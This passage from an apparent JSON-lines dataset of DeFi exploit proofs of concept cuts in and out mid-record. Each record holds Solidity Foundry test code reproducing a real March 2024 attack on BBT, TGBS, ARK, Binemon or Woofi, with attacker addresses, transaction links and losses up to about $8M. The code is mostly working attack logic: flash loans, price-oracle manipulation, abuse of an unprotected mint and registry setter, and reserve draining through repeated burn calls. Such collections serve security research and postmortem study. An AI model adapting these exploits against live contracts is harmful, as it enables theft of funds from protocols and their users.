"https://bscscan.com/address/0x11bfd986299bb0d5666536e361f312198e882642", "vulnerable_contract": "https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba", "attack_tx": "https://bscscan.com/tx/0xfe031685d84f3bae1785f5b2bd0ed480b87815c3f23ce6ced73b8573b7e367c6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~$1.24K (2.13 BNB)", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~$1.24K (2.13 BNB)", "keyinfo_attacker": "https://bscscan.com/address/0x52e38d496f8d712394d5ed55e4d4cdd21f1957de", "keyinfo_attack_contract": "https://bscscan.com/address/0x11bfd986299bb0d5666536e361f312198e882642", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba", "keyinfo_attack_tx": "https://bscscan.com/tx/0xfe031685d84f3bae1785f5b2bd0ed480b87815c3f23ce6ced73b8573b7e367c6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.2K", "content_richness_score": 6.49, "quality_estimate": "medium", "title": "ETHFIN Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : 5.06 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0x4019890fe5a5bd527cd3b9f7ee6d94e55b331709b703317860d028745e33a8ca?line=4\n// Attacker : https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54\n// Attack Contract : https://etherscan.io/address/0xf5610cf8c27454b6d7c86fccf1830734501425c5\n// GUY : https://x.com/8olidity/status/1767470002566058088\ninterface BBtoken is IERC20 {\n function setRegistry(\n address _registry\n ) external;\n function mint(address _user, uint256 _amount) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n address attacker;\n\n function setUp() external {\n // vm.createSelectFork(\"mainnet\", 19417822);\n cheats.createSelectFork(\"mainnet\", 19_417_822); //fork mainnet at block 13715025\n }\n\n function testExploit() external {\n address attacker = cal_address(0);\n emit log_named_decimal_uint(\"[Begin] Attacker ETH before exploit\", address(attacker).balance, 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker ETH after exploit\", address(attacker).balance, 18);\n }\n\n function attack() public {\n create_contract(0);\n }\n\n function cal_address(\n uint256 time\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = time;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n\n function create_contract(\n uint256 times\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = times;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n return hack_contract;\n }\n}\n\ncontract Money is Test {\n BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 BLM = IERC20(0xEa0abF7AB2F8f8435e7Dc4932FFaB37761267843);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n uint256 constant PRECISION = 10 ** 18;\n address owner;\n address xx;\n\n constructor() {\n owner = msg.sender;\n attack();\n }\n\n function attack() public {\n xx = create_contract(1);\n BBT.setRegistry(xx);\n BBT.mint(address(this), 10_000_000_000_000_000_000 ether);\n BBT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(BBT);\n path[1] = address(WETH);\n Router.swapExactTokensForETH(1_000_000_000_000_000_000_000_000_000_000, 0, path, address(this), block.timestamp);\n address[] memory paths = new address[](4);\n paths[0] = address(BBT);\n paths[1] = address(BLM);\n paths[2] = address(USDC);\n paths[3] = address(WETH);\n Router.swapExactTokensForETH(\n 1_000_000_000_000_000_000_000_000_000_000, 0, paths, address(this), block.timestamp\n );\n }\n\n function create_contract(\n uint256 times\n ) internal returns (address) {\n bytes memory bytecode = type(Moneys).creationCode;\n uint256 _salt = times;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n return hack_contract;\n }\n\n fallback() external payable {}\n}\n\ncontract Moneys is Test {\n BBtoken BBT = BBtoken(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);\n uint256 constant PRECISION = 10 ** 18;\n address owner;\n address xx;\n\n constructor() {\n owner = msg.sender;\n }\n\n function getContractAddress(\n string memory _name\n ) public returns (address) {\n return owner;\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BBT", "date": "2024-03", "file_name": "BBT_exp.sol", "attack_vector": null, "content_hash": "f01db2ce9c09f042", "collected_at": "2026-01-07T10:59:16.523353", "_source": "postmortems", "chain": "ethereum", "block_number": 19417822, "total_lost_raw": "5.06 ETH", "total_lost_usd": 5.06, "attacker_address": "https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54", "attack_contract": "https://etherscan.io/address/0xf5610cf8c27454b6d7c86fccf1830734501425c5", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "5.06 ETH", "category": "unknown", "exploit_code": "function attack() public {\n create_contract(0);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54", "keyinfo_attack_contract": "https://etherscan.io/address/0xf5610cf8c27454b6d7c86fccf1830734501425c5", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5", "content_richness_score": 6.51, "quality_estimate": "medium", "title": "BBT Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$150K\n// Attacker : https://bscscan.com/address/0xff1db040e4f2a44305e28f8de728dabff58f01e1\n// Attack Contract : https://bscscan.com/address/0x1a8eb8eca01819b695637c55c1707f9497b51cd9\n// Vuln Contract : https://bscscan.com/address/0xedecfa18cae067b2489a2287784a543069f950f4\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xa0408770d158af99a10c60474d6433f4c20f3052e54423f4e590321341d4f2a4\n\n// @Analysis\n \n// https://twitter.com/Phalcon_xyz/status/1765285257949974747\n\ninterface ITGBS is IERC20 {\n function _burnBlock() external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n DVM private constant DPPOracle = DVM(0x05d968B7101701b6AD5a69D45323746E9a791eB5);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n ITGBS private constant TGBS = ITGBS(0xedecfA18CAE067b2489A2287784a543069f950F4);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 36_725_819);\n vm.label(address(DPPOracle), \"DPPOracle\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(TGBS), \"TGBS\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n uint256 baseAmount = WBNB.balanceOf(address(DPPOracle));\n DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encodePacked(uint32(0)));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNB.approve(address(Router), baseAmount);\n WBNBToTGBS(baseAmount);\n\n uint256 i;\n while (i < 1600) {\n TGBS.transfer(address(this), 1);\n uint256 burnBlock = TGBS._burnBlock();\n // If burn block is not a current block number, the amount of TGBS will be burned in swap pair\n if (burnBlock != block.number) {\n ++i;\n }\n }\n TGBS.approve(address(Router), TGBS.balanceOf(address(this)));\n TGBSToWBNB(TGBS.balanceOf(address(this)));\n\n WBNB.transfer(address(DPPOracle), baseAmount);\n }\n\n function WBNBToTGBS(\n uint256 amountIn\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(TGBS);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 10\n );\n }\n\n function TGBSToWBNB(\n uint256 amountIn\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(TGBS);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 10\n );\n }\n}\n", "type": "exploit_poc", "protocol": "TGBS", "date": "2024-03", "file_name": "TGBS_exp.sol", "attack_vector": "flash_loan", "content_hash": "7eb8887abeb4e50c", "collected_at": "2026-01-07T10:59:16.523401", "_source": "postmortems", "chain": "bsc", "block_number": 36725819, "total_lost_raw": "~$150K", "total_lost_usd": 150000.0, "attacker_address": "https://bscscan.com/address/0xff1db040e4f2a44305e28f8de728dabff58f01e1", "attack_contract": "https://bscscan.com/address/0x1a8eb8eca01819b695637c55c1707f9497b51cd9", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xa0408770d158af99a10c60474d6433f4c20f3052e54423f4e590321341d4f2a4", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$150K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n uint256 baseAmount = WBNB.balanceOf(address(DPPOracle));\n DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encodePacked(uint32(0)));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$150K", "keyinfo_attacker": "https://bscscan.com/address/0xff1db040e4f2a44305e28f8de728dabff58f01e1", "keyinfo_attack_contract": "https://bscscan.com/address/0x1a8eb8eca01819b695637c55c1707f9497b51cd9", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xa0408770d158af99a10c60474d6433f4c20f3052e54423f4e590321341d4f2a4", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$150.0K", "content_richness_score": 7.63, "quality_estimate": "medium", "title": "TGBS Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xe8b0131fa14d0a96327f6b5690159ffa7650d66376db87366ba78d91f17cd677\n// GUY : https://twitter.com/Phalcon_xyz/status/1771728823534375249\n// Profit : ~348BNB\n// REASON : business logic flaw\n\ninterface Ark is IERC20 {\n function autoBurnLiquidityPairTokens() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Ark constant ARK = Ark(0xde698B5BBb4A12DDf2261BbdF8e034af34399999);\n Uni_Pair_V2 ARK_WBNB = Uni_Pair_V2(0xc0F54B8755DAF1Fd78933335EfCD761e3D5B4a6F);\n Uni_Router_V2 router = Uni_Router_V2(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 37_221_235);\n // explotier have\n deal(address(WBNB), address(this), 100);\n deal(address(ARK), address(this), 4 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n uint256 i = 0;\n while (i < 10_000) {\n ARK.autoBurnLiquidityPairTokens();\n if (ARK.balanceOf(address(ARK_WBNB)) < 1_700_000_000_000) {\n break;\n }\n i++;\n }\n WBNB.transfer(address(ARK_WBNB), 100);\n ARK.transfer(address(ARK_WBNB), ARK.balanceOf(address(this)));\n (uint256 _reserve0, uint256 _reserve1,) = ARK_WBNB.getReserves();\n uint256 Ark_balance = ARK.balanceOf(address(ARK_WBNB));\n address[] memory path = new address[](2);\n path[0] = address(ARK);\n path[1] = address(WBNB);\n uint256[] memory amountOut = router.getAmountsOut(Ark_balance - _reserve1, path);\n ARK_WBNB.swap(amountOut[1], 0, address(this), \"\");\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "ARK", "date": "2024-03", "file_name": "ARK_exp.sol", "attack_vector": null, "content_hash": "660e05babc2a2627", "collected_at": "2026-01-07T10:59:16.523447", "_source": "postmortems", "chain": "unknown", "block_number": 37221235, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.06, "quality_estimate": "low", "title": "ARK Exploit (2024-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~0.2 $BNB\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0x132e1ea5db918dae00eef685b845c409a83dfa82\n// Vulnerable Contract : https://bscscan.com/address/0xe56842ed550ff2794f010738554db45e60730371\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1999bb5c11a8d8bfa7620fc5cc37f5bc59c1a99d7a9250a8d6076c93bbdbeb5f\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IBIN_WBNB {}\n\ninterface IBIN is IERC20 {\n function sweepTokenForMarketing() external;\n}\n\ncontract ContractTest is Test {\n IBIN BIN = IBIN(address(0xe56842Ed550Ff2794F010738554db45E60730371));\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n address otherUser = 0xAb7BF20f8Ebbb286644b2C57ea448F27ef0598d4;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 36_864_395 - 1);\n vm.label(address(Router), \"Router\");\n vm.label(address(BIN), \"BIN\");\n vm.label(address(WBNB), \"WBNB\");\n }\n\n function testExploit() public {\n WBNB.approve(address(Router), type(uint256).max);\n BIN.approve(address(Router), type(uint256).max);\n deal(address(WBNB), address(this), 1 ether);\n deal(address(WBNB), address(otherUser), 10 ether);\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)), 18);\n while (BIN.balanceOf(address(BIN)) > 1_000_000_000_000_000_000_000_000) {\n BIN.sweepTokenForMarketing();\n }\n WBNBTOTOKEN();\n\n // Wait for other users to buy in\n vm.startPrank(address(otherUser));\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BIN);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(otherUser)), 0, path, address(otherUser), block.timestamp\n );\n vm.stopPrank();\n\n TOKENTOWBNB();\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)), 18);\n }\n\n function TOKENTOWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(BIN);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BIN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function WBNBTOTOKEN() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BIN);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Binemon", "date": "2024-03", "file_name": "Binemon_exp.sol", "attack_vector": null, "content_hash": "67854cb456bf40e3", "collected_at": "2026-01-07T10:59:16.523492", "_source": "postmortems", "chain": "bsc", "block_number": 36864395, "total_lost_raw": "~0.2 $BNB", "total_lost_usd": 0.2, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0x132e1ea5db918dae00eef685b845c409a83dfa82", "vulnerable_contract": "https://bscscan.com/address/0xe56842ed550ff2794f010738554db45e60730371", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1999bb5c11a8d8bfa7620fc5cc37f5bc59c1a99d7a9250a8d6076c93bbdbeb5f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~0.2 $BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n WBNB.approve(address(Router), type(uint256).max);\n BIN.approve(address(Router), type(uint256).max);\n deal(address(WBNB), address(this), 1 ether);\n deal(address(WBNB), address(otherUser), 10 ether);\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)), 18);\n while (BIN.balanceOf(address(BIN)) > 1_000_000_000_000_000_000_000_000) {\n BIN.sweepTokenForMarketing();\n }\n WBNBTOTOKEN();\n\n // Wait for other users to buy in\n vm.startPrank(address(otherUser));\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BIN);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(otherUser)), 0, path, address(otherUser), block.timestamp\n );\n vm.stopPrank();\n\n TOKENTOWBNB();\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~0.2 $BNB", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0x132e1ea5db918dae00eef685b845c409a83dfa82", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xe56842ed550ff2794f010738554db45e60730371", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1999bb5c11a8d8bfa7620fc5cc37f5bc59c1a99d7a9250a8d6076c93bbdbeb5f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$0", "content_richness_score": 7.53, "quality_estimate": "medium", "title": "Binemon Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~8M\n// Attacker : https://arbiscan.io/address/0x9961190b258897bca7a12b8f37f415e689d281c4\n// Attack Contract : https://arbiscan.io/address/0xc3910dca5d3931f4a10261b8f58e1a19a13e0203\n// Attack Contract(Main logic) : https://arbiscan.io/address/0x1759f791214168e0292ab6b2180da1c4cf9b764e\n// Vulnerable Contract : https://arbiscan.io/address/0xeff23b4be1091b53205e35f3afcd9c7182bf3062 (WooPPV2)\n// Attack Tx : https://arbiscan.io/tx/0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd\n\n// @Analysis\n// https://twitter.com/spreekaway/status/1765046559832764886\n// https://twitter.com/PeckShieldAlert/status/1765054155478175943\n\n//interface IUniswapV3Flash {\n// function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n//}\n\ninterface ILBTFlashloan {\n function flashLoan(ILBFlashLoanCallback receiver, bytes32 amounts, bytes calldata data) external;\n}\n\ninterface ILBFlashLoanCallback {\n function LBFlashLoanCallback(\n address sender,\n IERC20 tokenX,\n IERC20 tokenY,\n bytes32 amounts,\n bytes32 totalFees,\n bytes calldata data\n ) external returns (bytes32);\n}\n\ninterface ISilo {\n function deposit(\n address _asset,\n uint256 _amount,\n bool _collateralOnly\n ) external returns (uint256 collateralAmount, uint256 collateralShare);\n\n function liquidity(\n address _asset\n ) external view returns (uint256);\n\n function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);\n\n function repay(address _asset, uint256 _amount) external returns (uint256 repaidAmount, uint256 burnedShare);\n\n function withdraw(\n address _asset,\n uint256 _amount,\n bool _collateralOnly\n ) external returns (uint256 withdrawnAmount, uint256 withdrawnShare);\n}\n\ninterface IWooPPV2 {\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minToAmount,\n address to,\n address rebateTo\n ) external returns (uint256 realToAmount);\n\n function poolSize(\n address token\n ) external view returns (uint256);\n}\n\ninterface IWooracleV2 {\n struct State {\n uint128 price;\n uint64 spread;\n uint64 coeff;\n bool woFeasible;\n }\n\n function state(\n address base\n ) external view returns (State memory);\n}\n\ncontract Woofi_exp is Test {\n IERC20 public constant WOO = IERC20(0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b);\n IERC20 public constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 public constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n\n address public constant WooPPV2 = address(0xeFF23B4bE1091b53205E35f3AfCD9C7182bf3062);\n address public constant Silo = address(0x5C2B80214c1961dB06f69DD4128BcfFc6423d44F);\n address public constant Univ3pool = address(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443); //usdce/weth pool\n\n address public constant LBT = address(0xB87495219C432fc85161e4283DfF131692A528BD); // woo/weth\n\n address public constant WooracleV2 = address(0x73504eaCB100c7576146618DC306c97454CB3620);\n\n uint256 public woo_lbt_amount;\n\n uint256 public uni_flash_amount;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 187_381_784);\n vm.label(address(USDCe), \"USDCe\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(WOO), \"WOO\");\n vm.label(address(LBT), \"LBT\");\n vm.label(address(WooracleV2), \"WooracleV2\");\n vm.label(address(Silo), \"Silo\");\n vm.label(address(Univ3pool), \"Univ3pool\");\n vm.label(address(WooPPV2), \"WooPPV2\");\n vm.label(address(this), \"Attacker\");\n }\n\n function testExploit() public {\n WOO.approve(WooPPV2, type(uint256).max);\n WOO.approve(Silo, type(uint256).max);\n USDCe.approve(WooPPV2, type(uint256).max);\n USDCe.approve(Silo, type(uint256).max);\n\n uni_flash_amount = USDCe.balanceOf(Univ3pool) - 10_000_000_000;\n IUniswapV3Flash(Univ3pool).flash(address(this), 0, uni_flash_amount, new bytes(1));\n\n console.log(\"USDCe after hack: %s\", USDCe.balanceOf(address(this)));\n console.log(\"WOO after hack: %s\", WOO.balanceOf(address(this)));\n console.log(\"WETH after hack: %s\", WETH.balanceOf(address(this)));\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n uint256 weth_amount = WETH.balanceOf(address(this));\n uint256 usdc_amount = USDCe.balanceOf(address(this));\n woo_lbt_amount = WOO.balanceOf(LBT) - 100;\n\n ILBTFlashloan(LBT).flashLoan(\n ILBFlashLoanCallback(address(this)),\n bytes32(woo_lbt_amount),\n abi.encodePacked(bytes32(woo_lbt_amount), bytes32(0))\n );\n\n USDCe.transfer(Univ3pool, uni_flash_amount + amount1);\n }\n\n function LBFlashLoanCallback(\n address sender,\n IERC20 tokenX,\n IERC20 tokenY,\n bytes32 amounts,\n bytes32 totalFees,\n bytes calldata data\n ) external returns (bytes32) {\n uint256 totalFees_ = uint256(totalFees);\n uint256 usdc_deposit_amount = 7_000_000_000_000;\n ISilo(Silo).deposit(address(USDCe), usdc_deposit_amount, true);\n uint256 woo_liquidity_amount = ISilo(Silo).liquidity(address(WOO));\n ISilo(Silo).borrow(address(WOO), woo_liquidity_amount);\n USDCe.transfer(WooPPV2, 2_000_000_000_000);\n IWooPPV2(WooPPV2).swap(address(USDCe), address(WETH), 2_000_000_000_000, 0, address(this), address(this));\n IWooracleV2(WooracleV2).state(address(WOO));\n USDCe.transfer(WooPPV2, 100_000_000_000);\n IWooPPV2(WooPPV2).swap(address(USDCe), address(WOO), 100_000_000_000, 0, address(this), address(this));\n IWooracleV2(WooracleV2).state(address(WOO));\n // uint256 woo_amount_after = WOO.balanceOf(address(this));\n uint256 woo_amount_swap = 7_856_868_800_000_000_000_000_000; //@note adjusted value, otherwise overflow in price calculation\n WOO.transfer(WooPPV2, woo_amount_swap);\n IWooPPV2(WooPPV2).swap(address(WOO), address(USDCe), woo_amount_swap, 0, address(this), address(this));\n IWooracleV2(WooracleV2).state(address(WOO));\n IWooPPV2(WooPPV2).poolSize(address(WOO));\n\n USDCe.balanceOf(address(this));\n uint256 usdc_amount_drain = 926_342; //@note another ajusted value to reflect the pool size\n\n USDCe.transfer(WooPPV2, usdc_amount_drain);\n IWooPPV2(WooPPV2).swap(address(USDCe), address(WOO), usdc_amount_drain, 0, address(this), address(this));\n\n ISilo(Silo).repay(address(WOO), type(uint256).max);\n ISilo(Silo).withdraw(address(USDCe), type(uint256).max, true);\n WOO.transfer(LBT, woo_lbt_amount + totalFees_ + 10_000);\n return keccak256(\"LBPair.onFlashLoan\");\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Woofi", "date": "2024-03", "file_name": "Woofi_exp.sol", "attack_vector": "flash_loan", "content_hash": "9ee9e42b4ff2ae3a", "collected_at": "2026-01-07T10:59:16.523536", "_source": "postmortems", "chain": "arbitrum", "block_number": 187381784, "total_lost_raw": "~8M", "total_lost_usd": 8000000.0, "attacker_address": "https://arbiscan.io/address/0x9961190b258897bca7a12b8f37f415e689d281c4", "attack_contract": "https://arbiscan.io/address/0xc3910dca5d3931f4a10261b8f58e1a19a13e0203", "vulnerable_contract": "https://arbiscan.io/address/0xeff23b4be1091b53205e35f3afcd9c7182bf3062", "attack_tx": "https://arbiscan.io/tx/0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~8M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n WOO.approve(WooPPV2, type(uint256).max);\n WOO.approve(Silo, type(uint256).max);\n USDCe.approve(WooPPV2, type(uint256).max);\n USDCe.approve(Silo, type(uint256).max);\n\n uni_flash_amount = USDCe.balanceOf(Univ3pool) - 10_000_000_000;\n IUniswapV3Flash(Univ3pool).flash(address(this), 0, uni_flash_amount, new bytes(1));\n\n console.log(\"USDCe after hack: %s\", USDCe.balanceOf(address(this)));\n console.log(\"WOO after hack: %s\", WOO.balanceOf(address(this)));\n console.log(\"WETH after hack: %s\", WETH.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~8M", "keyinfo_attacker": "https://arbiscan.io/address/0x9961190b258897bca7a12b8f37f415e689d281c4", "keyinfo_attack_contract": "https://arbiscan.io/address/0xc3910dca5d3931f4a10261b8f58e1a19a13e0203", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0xeff23b4be1091b53205e35f3afcd9c7182bf3062", "keyinfo_attack_tx": 